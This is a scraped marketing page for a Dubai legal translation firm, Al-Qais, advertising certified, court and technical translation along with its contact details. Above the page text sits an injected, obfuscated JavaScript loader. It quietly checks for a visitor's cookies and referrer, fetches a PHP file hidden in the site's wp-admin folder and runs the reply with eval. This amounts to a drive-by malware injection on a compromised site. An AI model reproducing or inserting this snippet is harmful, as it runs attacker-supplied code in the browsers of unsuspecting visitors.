;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//legaltranslationinuae.ae/wp-admin/css/colors/blue/blue.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};

Legal Translation Dubai

Legal Translation Dubai, provided by Al-Qais Legal Translation Dubai offer a team of highly qualified native-speaking men and women who deliver accuracy and respect strict confidentiality in their work. Whether you need a legal translation for an official document, a legal contract, evidence document, financial statement, deposition, patent, litigation materials, letters, or other documents, our certified language legal translation professionals can complete it for you quickly and accurately. The recent growth of international trade has increased the demand for legal translation services worldwide. Yet, legal translation in UAE in the legal field calls for experienced professionals who have a great understanding of the legal translation processes in the country involved. They also must have the cultural background to explain these procedures and content in the target language to for providing legal translation Dubai.

discover more

We offer legal translation services Dubai in 150+ languages and we do provide complete client satisfaction with affordable rates and high quality translation.

Legal translation Services and court interpreter services are what we do. Our Legal translators from Al-Qais Translations offer document translation services. Only native speakers are used to deliver to you the highest quality in document translation services. Arabic translations, Russian translation, English translation, German translation and the French translation are what we do best. In addition to technical translation, contract translation and medical translation services are also rendered exceeding industry standards in quality, thoroughness, and accuracy.

Translation Services

Power of Attorney Services

Interpretation Services

Attestation Services


Get a Instant Free Quote

    Certified Translation in Dubai

    Certified translation services in Dubai is a legal record. Your request for certified translation should indicate special requirements and place of filing. Governmental offices, organizations and agencies, many NGOs and transcontinental companies, including private universities, – require a certified translation. Native bilingual speakers in Arabic, Russian, German, English, French, Japanese and many other languages are ready to provide a legal translation of your documents following strictest professional quality standards. We are regularly asked for “certified”, “official” or “legal translation Dubai” or “sworn” translations. For many individuals requesting the service, it is the first time that they have come across these terms and, as such, need to more fully understand what is being requested of them. As a starter, you should always ensure that you verify the type of legalization required for your translated documents prior to authorizing the work. This is because the level of legalization varies depending on the nature of the document and the purpose for which it is being translated and legalized. Simply put, a certified translation is the translation of a document which is typically required for official use by a non-governmental organization. These translations are usually required to be certified by institutions such as universities, schools, insurance providers or potential employers.

    Legal Document Translation Services

    Our global team’s extensive global experience means we can provide document translation services in many fields: Medical and Pharmaceutical, Legal, Financial, Marketing, Technological and Governmental. Your translation challenges in our capable hands will become qualified triumphs. Court interpreters translate legal proceedings in real time for those appearing in court who don’t happen to speak the language of the court. These interpreting services must be impartial, accurate and proficient.

    Why choose Al-Qais Legal Translation Dubai?

    We are a network of professional translators working in document translation from and to most European and Asian languages. Our strength and experience are in translating in the medical, legal, financial, and technical fields and more. In addition to document translation, we offer legal translation in Dubai, services in interpretation, when we do document translation, we use only high-quality work by native-speaking experts. Our professionalism guarantees that we can handle any of your specific requirements and meet all deadlines.


    Certificate translation
    POA Translation
    Contract translation
    Patent translation
    Partnership agreement
    Trademarks & Copyrights
    Litigation papers
    Legal Translators
    Police reports

    Value-added translation

    Our translations are done by our panel of experienced legal translators followed by professional editors.

    Quick Turnaround

    Our network of legal translators in Dubai empowers us to deliver your documents well translated before agreed deadline

    24/7 Support

    Our team of experienced and dedicated legal translators and account managers in Dubai is ready at all time.

    Legal Specialization

    Our legal translators in Dubai are native speakers and have deep background and hands-on experience in the legal sector.

    Technical Translation services Dubai

    Technical translation dubai is best done by those with a mastery of manual skills, technological theory and application, and linguistic expertise. From heavy equipment technology to refined legal documents, from urgent medical records to annual financial statements, technical translation services require professional experience, bilingual comprehension, and close attention to details. Legal translation Dubai is also classified as a technical translation. We promise we will put forth our best effort to deserve your trust and future business. After we have fully understood your technical requirements and reviewed your text, we will work with dedication to achieve accuracy and meet all deadlines.

    Language Barriers

    Overcome the Language Barrier with Multilingual Translation Services, We provide legal and certified translations in Dubai in 150+ languages. Of them all, there are 10 languages that are high on demand, going by the frequency of client requests. Below are a few of the many languages we provide certified legal translations in Dubai for. Overcome the Language Barrier with Multilingual Translation Services, We provide legal and certified translations in Dubai in 150+ languages.


    Email your documents to info@legaltranslationinuae.ae, or text them from your mobile to +971503799241 and we will provide you with a FREE quote in less than 15 minutes.

    The time we take to translate your documents will depend on your project size, document complexity and required language(s). We don’t offer a “one-size-fits-all” solution or service. And, as every request is different, we invite you to contact us to discuss your individual requirements. We’ll always do our best to exceed your expectations, within any deadline.

    We accept credit cards, debit cards, PayPal, checks and bank transfers. Payment is requested in advance.

    Ready to Get Started?

    Our professional translators are native speakers who have work experience in this industry
    order translation
    certified english to arabic translator

    24/7 For DUBAI: +971503799241 | For JLT:+971521262972

    Open chat
    +971 52 1262972